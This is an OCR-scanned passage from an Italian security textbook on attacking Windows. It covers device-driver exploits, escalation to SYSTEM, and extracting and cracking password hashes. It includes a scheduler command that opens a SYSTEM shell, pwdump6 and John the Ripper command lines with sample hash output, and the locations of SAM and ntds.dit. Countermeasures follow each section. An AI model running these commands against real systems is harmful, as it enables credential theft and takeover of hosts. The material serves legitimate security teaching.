esempio, impostare 1 programmi di Microsoft Office selezionando il livello di pro-
tezione piu elevato per le macro (Strumenti | Macro | Protezione). Considerare I'uso
di MOICE (Microsoft Office Isolated Conversion Environment) quando si aprono file in
formato binario di Word, Excel o PowerPoint anteriori a Office 2007.

9. Non fare i creduloni. Mostrarsi molto scettici nei confronti di qualsiasi proposta di
transazione tramite Internet. Non fare clic su collegamenti inseriti nei messaggi di
posta elettronica provenienti da utenti non fidati!

10. Mantenere sicuri anche fisicamente 1 dispositivi informatici.

NI/

" Exploit dei driver di periferica

Popolarita: 9
Semplicita: 5
Impatto: 10

Grado di rischio: 8

Benché spesso non siano considerate con la stessa gravita degli exploit di servizi di
rete remoti, le vulnerabilita dei driver di periferica sono altrettanto esposte ad attacchi
esterni, in qualche caso ancora di piu rispetto ad altre. Un esempio sorprendente fu
reso noto da Johnny Cache, HD Moore e skape verso la fine del 2006 (uninformed.
org/?v=all&a=298&t=sumry), che rilevarono come i driver di rete wireless Windows potevano
essere attaccati semplicemente passando vicino, fisicamente, a un access point violato che
beaconing malicious packets.

Dovrebbe essere chiaro che le vulnerabilita indicate da Cache et al si dovevano a driver
scritti da aziende diverse da Microsoft. Tuttavia, 'inadeguatezza del sistema operativo, che
non ¢ in grado di proteggere sé stesso da tali attacchi, comporta parecchi problemi. Dopo
tutto Microsoft ha talmente pubblicizzato il “plug and play” per mettere in evidenza la sua
maggiore compatibilita con 'oceano di periferiche disponibili oggi per gli utenti finali.
Le ricerche di Cache et al mostrano I'altra faccia della medaglia di questa enorme com-
patibilita, che ha notevolmente aumentato le opportunita di attacco al sistema operativo:
ogni driver in piu installato aumenta queste opportunita (pensate a Ethernet, Bluetooth,
unitda DVD e alle miriadi di altri driver esposti a input esternil).

Paspetto forse piu grave di questi exploit ¢ che in genere consentono di ottenere 1'e-
secuzione in una modalita kernel con privilegi elevati, poiché i driver di periferica si
interfacciano a basso livello per accedere in modo efficiente ai livelli di astrazione hardware
primitivi. Percio, basta un solo driver di periferica vulnerabile per compromettere 'intero
sistema. Quante periferiche avete installato oggi?

HD Moore ha sviluppato un modulo di exploit Metasploit per driver di schede di rete
wireless prodotti da tre note aziende: Broadcom, D-Link e Netgear. Ogni exploit richiede la
libreria Lorcon e funziona soltanto su Linux con una scheda wireless supportata. Il modulo
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di exploit per Netgear, per esempio, invia un frame dati wireless di dimensione eccessiva,
che genera l'esecuzione di un codice remoto in modalita kernel su sistemi che utilizzano
le versioni del driver wireless Netgear con la vulnerabilita in questione. Tutte le schede
Netgear vulnerabili che rientrano tra quelle supportate dal modulo di exploit saranno colpite
dall’attacco, anche se devono trovarsi in uno stato non associato perché I'exploit funzioni.
Pensate a questo attacco la prossima volta che passate nei pressi di un’area con molti ac-
cess point wireless, per esempio in un aeroporto o una fiera. Ognuna delle “reti wireless
disponibili” che vedete potrebbe avere gia attaccato il vostro sistema.

o Contromisure contro l'exploit dei driver

Il modo migliore per ridurre il rischio di attacchi a driver di periferica ¢ quello di applicare
le patch fornite dai produttori con la massima rapidita possibile.

Paltra possibilita ¢ quella di disattivare il driver interessato in ambienti ad alto rischio. Per
esempio, nel caso degli attacchi ai driver delle schede di rete wireless descritti in precedenza,
consigliamo di disattivare le comunicazioni di rete wireless del proprio sistema quando si
passa in aree con alta concentrazione di access point. La maggior parte dei produttori di
notebook fornisce, a questo scopo, un interruttore hardware esterno. Naturalmente con
questa contromisura si perde la funzionalita della periferica, quindi tutto cio ha senso solo
quando la periferica non serve (e nel caso della connettivita wireless, serve quasi sempre).
Microsoft ha riscontrato questo problema fornendo nelle piti recenti versioni di Windows
un meccanismo di firma dei driver; in effetti, le piu recenti versioni a 64 bit di Windows
richiedono delle firme certificate sul software che opera in modalita kernel (cfr.microsoft.
com/whdc/winlogo/drvsign/drvsign.mspx). Naturalmente questo meccanismo di firma si basa
sull'ipotesi che il codice firmato sia stato sviluppato in modo corretto e non fornisce alcuna
reale garanzia del fatto che tale codice non contenga falle come bufter overflow. Percio,
I'impatto della firma sugli exploit dei driver di periferica ¢ ancora da verificare a pieno.
Nel futuro, approcci come UMDF (User-Mode Driver Framework) di Microsoft potrebbero
fornire un rimedio migliore per questa classe di vulnerabilita (cfr. en.wikipedia.org/wiki/
User-Mode_Driver_Framework). Il concetto alla base di UMDF ¢ quello di fornire un’API
dedicata attraverso la quale i driver che operano in modalita utente con bassi privilegi
possano accedere al kernel in modi ben definiti. Percio, anche se il driver presenta una
vulnerabilita sfruttata da un attacco, I'impatto conseguente sul sistema ¢ molto inferiore
a quello che si sarebbe verificato nel caso di un driver che operasse tradizionalmente in
modalita kernel.

Attacchi con autenticazione

Finora abbiamo illustrato gli strumenti e le tecniche pit comuni per ottenere un livello
di accesso a un sistema Windows. Questi meccanismi consentono tipicamente di ottenere
vari livelli di privilegi, da Guest a SYSTEM, sul sistema bersaglio. A prescindere dal livello
di privilegi ottenuto, tuttavia, la prima conquista effettuata in qualsiasi ambiente Windows
rappresenta, tipicamente, soltanto I'inizio di una guerra molto pit lunga.

Nel seguito vediamo come si combattono le altre battaglie una volta vinta la prima per
entrare nel sistema.
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Scalata dei privilegi

Una volta che gli hacker hanno ottenuto un account utente su un sistema Windows,
possono mettere gli occhi immediatamente sui privilegi di Administrator o SYSTEM.
Uno dei maggiori hack di Windows di tutti 1 tempi fu costituito dalla famiglia di exploit
getadmin (support.microsoft.com/kb/146965), che rappresento il primo serio attacco a scalata
dei privilegi portato contro Windows N'T4, e benché quello specifico attacco sia stato poi
vinto con delle patch (dopo NT4 SP3), la tecnica di base che utilizza, la cosiddetta DLL
injection, ¢ sempre viva ed ancora oggi utilizzata con successo.

La potenza di getadmin ¢ stata in qualche modo smorzata dal fatto che lo strumento deve
essere eseguito da un utente interattivo sul sistema bersaglio, come avviene per la maggior
parte degli attacchi a scalata dei privilegi. Poiché la maggior parte degli utenti non puo
accedere a un server Windows in modalita interattiva per default, lo strumento risulta
davvero utile soltanto per 1 membri dei vari gruppi di operatori interni (account, backup,
server e cosl via) e per l'account server Internet di default, [USR _nomemacchina, che ha
questo privilegio. architettura di Windows storicamente ha trovato difficolta nell’evitare
che gli account con accesso interattivo potessero eftettuare la scalata dei privilegi, prin-
cipalmente a causa della particolarita e complessita dell’ambiente di accesso interattivo
di Windows (consultate, per esempio, blogs.technet.com/askperf/archive/2007/07/24/
sessions-desktops-and-windows-stations.aspx). Cosa ancora peggiore, 'accesso interattivo
si ¢ diffuso molto di pitt con I'imporsi di Windows Terminal Server quale sistema per la
gestione remota e la distribuzione distribuita. Infine, ¢ importante considerare che il vet-
tore pit importante utilizzato per la scalata dei privilegi da parte di sistemi client Internet
¢ la semplice navigazione web, insieme all’elaborazione della posta, come abbiamo gia
osservato in precedenza.

NOTA

Piu avantiin questo capitolo discuteremo anche LSADump, il classico strumento utilizzato
per la scalata dei privilegi su SYSTEM.

Invine, ¢ utile sottolineare che lo status di amministratore non ¢, tecnicamente, il massimo
privilegio che si puo ottenere su una macchina Windows. Laccount SYSTEM (noto anche
come Local System, o account di sistema locale, o NT AUTHORITY\SYSTEM) in
effetti ha piu privilegi dell’amministratore. Tuttavia, esistono alcuni trucchi che consento-
no agli amministratori di ottenere 1 privilegi di SYSTEM in modo abbastanza semplice.
Uno ¢ quello di aprire una shell di comandi utilizzando il servizio Windows Scheduler
come segue:

C:\>at 14:53 /INTERACTIVE cmd.exe

Oppure si puo utilizzare lo strumento gratuito psexec di Sysinternals.com, che consente
anche I'esecuzione come SYSTEM in remoto.

Q Prevenire la scalata dei privilegi

Innanzitutto occorre installare immediatamente tutte le patch per 1 sistemi Windows. Ex-
ploit come getadmin sfruttano difetti del sistema operativo e non possono essere bloccati
del tutto finché questi difetti non vengono eliminati a livello del codice.
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Naturalmente i privilegi di accesso interattivo devono essere rigidamente limitati per qua-
lunque sistema che ospiti dati riservati, perché gl exploit come questi diventano molto pit
facili nei casi in cui si ottengono tali privilegi. Per verificare i diritti di accesso interattivo
in Windows 2000 e versioni successive, eseguite lo snap-in Criteri di protezione (locali
o di gruppo), trovate il nodo Criteri locali\Assegnazioni diritti utente e verificate se il diritto

ERIN

“Accesso locale” ¢ assegnato ad alcuni utenti.
A partire da Windows 2000, molti di questi privilegi hanno delle controparti che consen-

tono di specificare gruppi o utenti da escludere. In questo esempio si potrebbe utilizzare
il diritto “Nega accesso locale”, come nella figura seguente:

E—= Local Security Policy |- (O] x]
Fle Action Miew Help

&= | 7R = |-

_é Security Settings Poli.. = I Securit.~]
2 Account Policies | Create symbolic links Adminis
Bl [ Local Policies | Debug programs Adminis

2 Audit Policy
4 User Rights Assignment
4 Security Options
| Windows Firewall with Advanced Security

| Deny access to this computer from ...
| Deny log on as a batch job
| Deny log on as a service

= X - rlog on by
= Eil‘l:‘;d}:;s;or]‘::il;:ger Policies | Deny log on through Teminal Servi...
=1 Software Restriction Policies | Enable computer and user account...
g IP Security Policies on Local Computer | Force shutdown from a remote syst...  Adminis
| Generate security audits LOCAL
| Impersonate a client after authentic... LOCAL

| Increase a process working set Users

| S | B | _>|_I

Estrazione e cracking di password

Una volta ottenuto lo status di amministratore, gli hacker fanno di tutto per sottrarre
tutte le informazioni possibili, da sfruttare per ulteriori conquiste. Inoltre, gli hacker che
dispongono delel credenziali di amministratore potrebbero rendersi conto di poter giocare
soltanto un ruolo secondario nella struttura complessiva della rete e quindi decidere di
installare strumenti aggiuntivi per ampliare la propria influenza. Percid, una delle prime
attivita degli hacker, dopo aver ottenuto I'accesso, consiste nel raccogliere altri nomi
utente e password, poiché queste credenziali sono fondamentali per insinuarsi in tutti gli
angoli dell’'ambiente, ed eventualmente anche di altri ambienti in qualche modo collegati.

NOTA

A partire da Windows XP SP2, una delle prime operazioni che gli hacker eseguono dopo
un exploit consiste nel disattivare Windows Firewall. Molti degli strumenti discussi qui
operano tramite servizi di rete che sono bloccati dal firewall nella configurazione di default.
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NI/

" (Catturare gli hash di password

Popolarita: 8
Semplicita: 10
Impatto: 10

Grado di rischio: 9

Dopo aver ottenuto lo status di amministratori, gli hacker vorranno probabilmente attac-
care gli hash di password del sistema. Questi sono memorizzati nel SAM (Security Accounts
Manager) per utenti locali e in Active Directory su controller di dominio con Windows
2000 e versioni successive (DC) per account di dominio. Il SAM contiene 1 nomi utente
e gli hash di password per tutti gli utenti del sistema locale, o del dominio se la macchina
in questione & un controller di dominio. E I'obiettivo finale di tutti gli hacker di sistemi
Windows, la controparte del file /etc/passwd del mondo Unix. Anche se il SAM in
questione proviene da un sistema Windows autonomo, potrebbe contenere credenziali
che garantiscano I'accesso a un controller di dominio, un membro del dominio o a un
altro sistema autonomo, grazie al riuso di password da parte di normali utenti o di criteri
di protezione IT insufficienti (per esempio I'assegnazione della stessa password a tutti gli
account di amministratore locali). Quindi, violare il SAM ¢ uno dei mezzi piu potenti
per la scalata dei privilegi e 'exploit dei trust o “relazioni di fiducia” (un tipo di attacco
noto come frust exploitation).

Ottenere gli hash

Il primo passo per qualunque attivita di crack delle password ¢ quello di ottenere gli hash.
A seconda della versione di Windows in uso, si puo procedere in vari modi.

Su sistemi Windows indipendenti, gli hash di password sono memorizzati in %systemroot%\
system32\config\SAM, che ¢ bloccato durante I’esecuzione del sistema operativo. Il file SAM
¢ anche rappresentato come uno dei cinque sottorami principali del registro di Windows,
sotto la chiave HKEY_LOCAL_MACHINE\SAM. Questa chiave non puo essere mo-
dificata da chiunque, nemmeno dall’account dell’amministratore (anche se, con un po’di
trucchi e il servizio Scheduler, si pud aggirare 'ostacolo). Sui controller di dominio, gli
hash di password si trovano in Active Directory (swindir%\WindowsDS\ntds.dit). Ora che
sapplamo dove si trovano i nostri obiettivi, come facciamo per raggiungerli? Esistono
vari modi, ma quello piu facile consiste nell’estrare gli hash di password mediante un
programma dal SAM, o da Active Directory, utilizzando strumenti disponibili al pubblico.

SUGGERIMENTO

Se siete curiosi e volete esaminare i file SAM in modalita nativa, potete avviare il sistema
com un ambiente Windows alternativo, come WinPE (blogs .msdn.com/winpe/) e BartPE
(Www.nu2.nu/pebuilder/).

NOTA

Abbiamo discusso lo sniffing dell'autenticazione Windows nel paragrafo dedicato allo
spionaggio dello scambio di password in rete, precedentemente in questo capitolo.
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Estrazione degli hash con pwdump

Con Paccesso di amministratore ¢ facile effettuare il dump degli hash di password diret-
tamente dal registro in un formato strutturato adatto per 'analisi offline. La principale
utility per questo scopo ¢ pwdump di Jeremy Allison e ne sono state rilasciate numerose
versioni migliorative, tra cui pwdump2 diTodd Sabin, pwdump3e di e-business technology,
Inc. e pwdumpb6 del foofus.net Team (foofus.net). Foofus.net ha rilasciato anche fgdump,
un wrapper per pwdump6 e altri strumenti che automatizza Pestrazione degli hash da
remoto, il dumping della cache LSA e 'enumerazione di spazio protetto (discuteremo le
ultime due tecniche tra breve). La famiglia di strumenti pwdump utilizza la DLL injection
per inserirsi in una serie di processi in esecuzione con privilegi (tipicamente Isass.exe) al
fine di estrarre gli hash di password.

SUGGERIMENTO

Le vecchie versioni come pwdump2 non funzionano su Windows Vista e versioni succes-
sive, perché il processo LSASS e stato spostato in una Window Station separata.

Il seguente esempio mostra 'utilizzo di pwdump6 con un sistema Windows Server 2008
in cui Windows Firewall ¢ stato disattivato:

D:\Tools>PwDump.exe -u Administrator -p password 192.168.234.7

pwdump6 Version 2.0.0-beta-2 by fizzgig and the mighty group at foofus.net
** THIS IS A BETA VERSION! YOU HAVE BEEN WARNED. **
Copyright 2009 foofus.net

This program is free software under the GNU

General Public License Version 2 (GNU GPL), you can redistribute it and/or
modify it under the terms of the GNU GPL, as published by the Free Software
Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS
PROGRAM. Please see the COPYING file included with this program

and the GNU GPL for further details.

No history available

Administrator:500:NO PASSWORD :3B2F3C28C5CF28E46FED883030: = :
krbtgt:502:NO PASSWORD :55FFCA43B26B3F1BE72DBAA74418BCFD: : :
George:1102:NO PASSWORD :D67FB3C2ED420D5F835BDD86A03A0D9S: : :
Guest:501:NO PASSWORD :NO PASSWORD i
Joel:1100:NO PASSWORD :B39AA13D03598755689D36A295FC14203C: : :
Stuart:1101:NO PASSWORD 16674086C274856389F3E1AFBFE0O57BF3: ::
WIN2008-DC$:1001:NO PASSWORD :FF831FFFE9F29545643E7B8A8CD
A7F4F:::

Completed.

Notate 'output NO PASSWORD nel terzo campo a indicare che questo server non
memorizza gli hash nel formato LM, poco sicuro.
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Q Contromisure contro pwdump

Finché la DLL injection continuera a funzionare in Windows, non vi sara difesa su
pwdump e i suoi derivati. Fortunatamente, 'esecuzione di pwdump richiede i privilegi
dell’amministratore. Se gli hacker hanno gia ottenuto questo vantaggio, probabilmente
potranno gia fare tutto cid che vogliono (anche se utilizzare gli hash di password catturati
per attaccare sistemi trusted ¢ un’altra cosa, come vedremo tra breve).

NI/

" (racking delle password

Popolarita: 8
Semplicita: 10
Impatto: 10

Grado di rischio: 9

Il nostro intrepido hacker ¢ riuscito a ottenere 1 vostri hash di password. Ma un momento:
I'hashing ¢ un processo di cifratura monodirezionale; se questi hash di password sono stati
creati con un algoritmo appena decente, dovrebbe essere impossibile ricavare le password
in chiaro a partire da essi.

Tuttavia, chi vuole davvero qualcosa, trova un modo per ottenerlo. Il processo di ricavare le
password in chiaro dagli hash ¢ generalmente indicato con il termine cracking delle password,
o semplicemente cracking. In sostanza si tratta di “indovinare” la password in modo rapido,
sofisticato e lavorando offline. Una volta noto I'algoritmo di hashing, 'hacker puo utiliz-
zarlo per calcolare ’hash per un elenco di possibili valori di password (per esempio, tutte
le parole contenute in un dizionario di italiano o di inglese) e confrontare 1 risultati con
un hash recuperato utilizzando uno strumento come pwdump. Se si trova corrispondenza,
significa che la password ¢ stata “indovinata” con successo, in gergo “craccata”. Questo
progetto ¢ solitamente eseguito offline su hash di password catturati in precedenza, in
modo che il meccanismo di blocco dell’account non costituisca un problema e lattivita
di determinazione della password possa continuare all’infinito.

Da un punto di vista pratico, I'attivita di crack delle password si riduce a individuare al-
goritmi di hashing deboli (se ve ne sono), fare delle ipotesi in modo intelligente, utilizzare
gli strumenti appropriati e, naturalmente, utilizzare tempo di elaborazione. Discutiamo
ognuno di questi componenti.

Algoritmi di hashing deboli

Da molti anni ¢ ben noto il fatto che I'algoritmo di hashing di LAN Manager (LM) pre-
senta gravi vulnerabilita che permettono di violarlo rapidamente: la password ¢ suddivisa
in due parti di 7 caratteri e tutte le lettere sono trasformate in maiuscolo, il che riduce le
2% possibili password alfanumeriche ottenibili con 14 caratteri a soli 2*” hash diversi. Come
vedremo tra poco, la maggior parte degli hash LM puo essere violata in pochi secondi,
indipendentemente dal livello di complessita della password in questione. Microsoft nelle
recenti versioni di Windows ha cominciato a ridurre 'uso dell’algoritmo di hashing LM
per diminuire 'impatto di questi punti deboli.

II nuovo hash NTLM non presenta questi punti deboli e percio costringe gli hacker a
un lavoro notevolmente maggiore. Se si seguono le buone pratiche di scelta della pas-
sword (ovvero, se si utilizza una password di lunghezza opportuna e si applica il criterio
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di complessita impostato per default in Windows Vista e versioni successive), gli hash di
password NTLM sono effettivamente immuni agli attacchi di forza bruta, con le attuali
capacita di elaborazione.

Tutti gli hash di Windows soffrono di un altro punto debole: mancano di un sale. Gli altri
sistemi operativi, per la maggior parte, aggiungono un valore casuale denominato sale
(salf) a una password, prima dell’hashing e della memorizzazione. Il sale ¢ memorizzato
insieme all’hash, in modo che in seguito si possa verificarne la corrispondenza. Questo
sembrerebbe fare poca differenza per un hacker che dispone di un alto livello di privilegi,
che potrebbe semplicemente estrarre i sali insieme agli hash, come abbiamo mostrato in
precedenza, utilizzando strumenti come pwdump. Tuttavia, I'uso del sale ostacola un altro
tipo di attacco: poiché il sistema crea un sale casuale per ogni password, ¢ impossibile
precalcolare tabelle di hash che consentirebbero di velocizzare notevolmente il cracking.
Discuteremo gli attacchi che utilizzano tabelle di hash precalcolate, come rainbow, piu
avanti. Microsoft per tradizione ha sempre scelto di rafforzare I'algoritmo di hashing delle
password, anziché utilizzare i sali, probabilmente basandosi sull’ipotesi che creare tabelle
precalcolate per gli algoritmi pit forti non sarebbe praticabile in ogni caso.

Strategie per ipotizzare le password

In passato esistevano soltanto due modi per fornire 1 dati di input ai meccanismi di cra-
cking delle password: utilizzare un dizionario e procedere con il metodo “a forza bruta”.
Piu recentemente si sono diffuse le tabelle di cracking precalcolate, per velocizzare e
migliorare I'efficienza del cracking.

11 cracking con dizionario € il piu semplice di tutti gli approcci al cracking. Richiede un
elenco di termini e hash che sono confrontati uno a uno con I'elenco di hash catturati.
Ovviamente con questo approccio si possono trovare soltanto le password contenute
nel dizionario fornito dall’hacker. Il vantaggio ¢ che le password presenti nel dizionario
vengono trovate rapidamente, a prescindere dalla robustezza dell’algoritmo di hashing
(vale anche per NTLM!).

11 cracking di forza bruta prevede I'utilizzo di stringhe casuali generate dal set di caratteri
desiderato e puo richiedere parecchio tempo, a causa del notevole carico di lavoro ne-
cessario per effettuare 'hashing di tutti 1 possibili valori casuali compresi nello spazio di
caratteri descritto (per esempio, esistono 267 possibili stringhe di caratteri dell’alfabeto
inglese lunghe al pit 7 caratteri, sono oltre 8 miliardi di hash da creare).

Una buona via di mezzo tra la forza bruta e il dizionario consiste nell’aggiungere lettere
e numeri alle parole del dizionario, come fanno gli utenti pigri che scelgono password
come “password123” per mancanza di immaginazione. Molti strumenti di cracking delle
password implementano tecniche di individuazione “intelligenti”, come quelle mostrate
nella Figura 4.5, relativa allo strumento di cracking di LCP (di cui parleremo nel para-
grafo seguente).

Piu recentemente, le tecniche di cracking si sono evolute verso I'uso di tabelle di hash
precalcolate per ridurre notevolmente il tempo necessario per generare gli hash da
confrontare. Nel 2003 Philippe Oechslin ha pubblicato un articolo (sfruttando il lavoro
svolto fin dal 1980 da Hellman e migliorato dal leggendario esperto di crittografia Rivest
nel 1982) che descriveva una tecnica di crittoanalisi con scambio tempo-memoria che
gli consentiva di effettuare 1l crack del 99,9 per cento di tutti gli hash di password di LAN
Manager alfanumerici (2°7) in 13,6 secondi. In sostanza, lo scambio consiste nell'impiegare
tutto il lavoro di elaborazione per precalcolare le cosiddette tabelle di hash “arcobaleno”
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Figura 4.5 Le opzioni di LCP facilitano il cracking delle password
utilizzando diverse varianti delle parole incluse nel dizionario.

utilizzando dizionario e forza bruta.A questo punto il cracking diventa un semplice eser-
cizio di confronto tra gli hash catturati e le tabelle precalcolate (per una spiegazione piu
approfondita, fornita dall'inventore del meccanismo delle tabelle arcobaleno, consultate
lasecwww.epfl.ch/php_code/publications/search.php?ref=0echo3). Come abbiamo eviden-
ziato in precedenza, la mancanza di un sale nella gestione delle password di Windows
rende possibile questo attacco.

Project Rainbow Crack ¢ stato uno dei primi strumenti a implementare un simile ap-
proccio (project-rainbowcrack.com/) e ora molti strumenti di cracking recenti supportano
le tabelle di hash precalcolate. Per dare un’idea dell’efficacia di questo approccio, Project
Rainbow Crack in passato offriva in vendita a 120 dollari una tabella di hash di LAN
Manager precalcolata che copriva lo spazio dei 14 caratteri alfanumerici, con I'invio di
24 GB di dati via corriere su 6 DVD.

Strumenti

Gli strumenti per il cracking delle password Windows vantano una lunga e gloriosa storia.
Tra quelli a riga di comando, John The Ripper con la patch Jumbo (openwall.com/john/
contrib/john-1.7.7-jumbo-1-win32.zip) ¢ una buona scelta, tra laltro gratuita. Ecco un
esempio di utilizzo del programma per il cracking di hash NTLM:
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C:\Tools>john.exe --format=nt ntlm.txt
Loaded 2 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])

TEST (administrator)

TEST123 (myuser)

guesses: 2 time: 0:00:00:00 100.00% (2) (ETA: Thu Nov 24 12:56:54 2011) c/s: 5
88425 trying: TENNIS - HONDA

Use the "--show" option to display all of the cracked passwords reliably
C:\Tools>

JohnThe Ripper Jumbo ¢ in grado anche di eftettuare il cracking di hash LM (--format=1m)
e di scambi challenge/risposta NTLM (--format=netntlm, --format=netntlmv2, e cosi via).
Consigliamo di leggere I'estesa documentazione disponibile per avere un quadro completo
delle caratteristiche e delle opzioni fornite dallo strumento.

Tra gli strumenti di cracking con interfaccia grafica vi sono LCP (lcpsoft.com), Cain
(oxid.it) e Ophcrack (ophcrack.sourceforge.net), basato sulle tabelle arcobaleno. Il leg-
gendario strumento LOphtcrack ¢ stato riportato in vita ed ¢ disponibile a pagamento
presso lophtcrack.com. La Figura 4.6 mostra LCP in operazioni di cracking del dizionario
su hash NTLM ricavati da un sistema Windows Server 2008. Questo esempio utilizza
un dizionario personalizzato per gli hash bersaglio, che consente un alto tasso di succes-
so, che (ancora) non ¢ rappresentativo dell’attivita di cracking NTLM di password ben
selezionate. Notate anche che Windows Server 2008 non memorizza gli hash LM, per
default, e questo elimina un bersaglio molto appetito per gli attacchi al sistema operativo.

| LCP - [Chntim.betlcp]
File Miew Import  Session Help

ge0ee »r na|#F @ e

F Dictionary attack. T Hubrid attack ™ Brute force attack

Dictionary word: |contradisting |6054 429159 20,7620 % done

Uzer Mame Lk Pazsward MT Pazsword <8 =14 Lk Hash
@adminstratnr MO PASSWO... ] MO PA5SSWORD
test MO PASSWO... TEST ) NO PASSWORD
@inhnc MO PASSWO. . ) NO PASSWORD
@remnte MO PASSWO. . ) NO PASSWORD
mikel RO PASSWO...  password] 23 b} MO PASSWORD
garj.lv MO PASSWO... TEST1234tes. . ] MNO PASSWORD
annam MO PASSWO... ABRARETSabra ) MNO PaSSwWORD

Figura 4.6 Cracking di password NTLM con LCP su un sistema Windows Server 2008.
Notate che gli hash LM non sono memorizzati nella configurazione di default di Server 2008.
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Probabilmente uno degli strumenti di cracking piu ricchi di funzionalita ¢ Cain (in effetti
ci capita di citarlo spesso parlando di sicurezza di Windows), che ¢ in grado di utilizzare
tutti i metodi di cracking tipici, tra cui:

e dizionario e forza bruta;

e hash LM;

e hash NTLM;

* sniffing di domanda/risposta (LM, NTLM e NTLM Session Security);

o tabelle arcobaleno (Ophcrack, RainbowCrack o winrtgen).

La Figura 4.7 mostra Cain al lavoro mentre inizia il cracking di hash NTLM Session
Security raccolti tramite lo sniffer integrato.

Infine, se siete disposti a utilizzare uno strumento commerciale, considerate il software di
recupero delle password prodotto da Elcomsoft, che opera a livello distribuito sfruttando
una combinazione di numerose CPU (fino a 10.000), oltre all’'unita di elaborazione gra-
fica o GPU (Graphics Processing Unif) presente sulla scheda video di ciascun sistema, per
aumentare Uefficienza del cracking fino a 50 volte (elcomsoft.com/edpr.html).

Tempo di elaborazione

Se vi siete fatti I'idea che il cracking di password Windows sia un’attivita che offre successi
immediati, vi state sbagliando. Certamente, nel caso di algoritmi deboli come quelli degli
hash LM con uno spazio caratteri (relativamente) ridotto, un attacco di forza bruta o con
tabelle arcobaleno precalcolate puo raggiungere I'obiettivo in pochi secondi. Ma I'uso di
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.JH Cisca PIX-MDS Hash Erute-Force Attack '
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{73 Kerb5 Preduth Hash Remowve Machine Accounts
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Figura 4.7 Cain al lavoro durante il cracking di hash NTLM Session Security
raccolti tramite lo sniffer integrato.
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hash LM ¢ sempre piu raro, ora che Microsoft non lo impiega pit nelle pit recenti ver-
sioni di Windows, affidandosi unicamente all’hash NTLM per default in Vista, Windows
7,Windows Server 2008 e altri. Il cracking dell’hash NTLM, basato sull’algoritmo MD5
a 128 bit, richiede un lavoro incredibilmente vasto.

Si puo stimare I'incremento di lavoro richiesto con la semplice ipotesi che ogni carat-
tere aggiuntivo in una password aumenta la sua imprevedibilita, o entropia, della stessa
quantita. La tastiera a 94 caratteri, percio, puod generare 947 possibili hash LM lunghi 7
caratteri (la lunghezza massima per LM), dimenticando per un momento che un hash LM
utilizza soltanto i caratteri maiuscoli. Lhash NTLM, con una lunghezza massima teorica
di 128 caratteri, ha un’entropia di 94'* bit. Ipotizzando una velocitd media di 5 milioni
di hash verificati al secondo su un tipico computer desktop (secondo quanto riportato
da Jussi Jaakonaho nel 2007 per Hacking Exposed Windows, Third Edition e supportato da
en.wikipedia.org/wiki/Password_strength), servirebbero circa 7,27 X 10**® secondi, 0 2,3
X 10%% anni, per una ricerca esaustiva di tutto lo spazio delle password NTLM di 128
caratteri e/o per generare tabelle arcobaleno NTLM.

Passando a un punto di vista piu pratico, 1 limiti del cervello umano impediscono di usare
password veramente casuali lunghe 128 caratteri, percio il lavoro richiesto per il cracking
dipende, realisticamente, dalla quantita di entropia presente nella password da cui si ricava
I'hash. Cosa ancora peggiore, ¢ noto che le abitudini umane per quanto riguarda la scelta
delle password generano un’entropia sostanzialmente inferiore rispetto alla selezione
pseudocasuale, indipendentemente dall’algoritmo (cfr., per esempio, NIST Special Pu-
blication 800-63 presso csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf,
Appendice A). Perciod, la“forza espressa in bit” dell’algoritmo di hashing diviene irrilevante,
poiché ¢ oscurata dall’entropia eftettiva delle password sottostanti. AccessData, produttore
di software per il recupero delle password, ha aftermato fin dal 2007 che, utilizzando un
insieme di routine di attacco con dizionario relativamente semplici, il suo software era in
grado di “craccare” dal 55 al 65 per cento di tutte le password entro un mese (schneier.
com/blog/archives/2007/01/choosing_secure.html). Come viene spiegato nel paragrafo
seguente dedicato alle contromisure, il fattore pit importante per la difesa diventa quindi
la scelta di una password forte.

o Contromisure contro il cracking delle password

Come si ¢ visto nella precedente discussione sulle dinamiche di cracking delle password,
una delle migliori modalita di difesa contro questa attivita non ha carattere tecnico, ma ¢
probabilmente la pit importante da implementare: scegliere password forti.

Come abbiamo detto in precedenza, la maggior parte delle versioni di Windows moder-
ne ¢ configurata per default con 'impostazione del criterio di protezione:“Le password
devono essere conformi ai requisiti di complessita” attivata. Cio richiede che tutte le
password degli utenti, quando sono create o modificate, soddisfino 1 seguenti requisiti (in
‘Windows Server 2008):

e non possono contenere il nome dell’account dell’utente, o parti del nome completo
dell’'utente, che superino due caratteri consecutivi;

e devono essere lunghe almeno sei caratteri;
* devono contenere caratteri di tre delle seguenti quattro categorie:

¢ lettere maiuscole inglesi (da A a Z);
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¢ lettere minuscole inglesi (da a a z);
¢ cifre in base 10 (da 0 a 9);
e caratteri non alfabetici (per esempio |, §, #, %).

Consigliamo di aumentare la lunghezza minima di 6 caratteri prescritta dalla precedente
configurazione fino a 8 caratteri, in base alle stime del NIST 800-63, che mostrano che
I'entropia aggiuntiva di ogni carattere in pit diminuisce dopo l'ottavo carattere (in altre
parole, 1 vantaggi iniziano a diminuire con ogni carattere aggiunto dopo I’ottavo; questo
non significa che non si debbano scegliere password piu lunghe ove possibile, ma serve
semplicemente a bilanciare la forza della password con la difficolta di memorizzarla da parte
degli utenti). Percio, conviene configurare il criterio di protezione “Lunghezza massima
password” impostando almeno 8 caratteri (per default questo valore ¢ impostato a zero,
quindi Windows nella configurazione di default ¢ vulnerabile ad attacchi di cracking
portati a password di 6 caratteri).

Tra le altre contromisure contro il cracking citiamo I'impostazione di criteri per il ri-
utilizzo e la scadenza delle password, anch’essi configurati tramite lo strumento Criteri
di protezione di Windows. Il concetto alla base di queste opzioni ¢ quello di ridurre
I'intervallo temporale in cui una password rimane valida e quindi restringere la finestra
di opportunita a disposizione di un hacker per il cracking. U'impostazione di una data di
scadenza ¢ controversa, perché obbliga gli utenti a creare password forti con maggiore
sequenza e percio aggrava le abitudini di scegliere le password senza l'attenzione richiesta.
Tuttavia, noi vi consigliamo di impostare la scadenza, perché teoricamente le password
che non scadono presentano un rischio illimitato; tuttavia, consigliamo anche di fissare
periodi di scadenza lunghi, di diversi mest, per alleviare il carico posto sugli utenti (NIST
800-63 ¢ utile anche in questo caso).

Naturalmente € necessario disattivare la memorizzazione dell’hash LM, davvero troppo
debole, utilizzando I'impostazioe del criterio di protezione “Accesso di rete: non memo-
rizzare il valore hash di LAN Manager al prossimo cambio di password”. In Windows 7
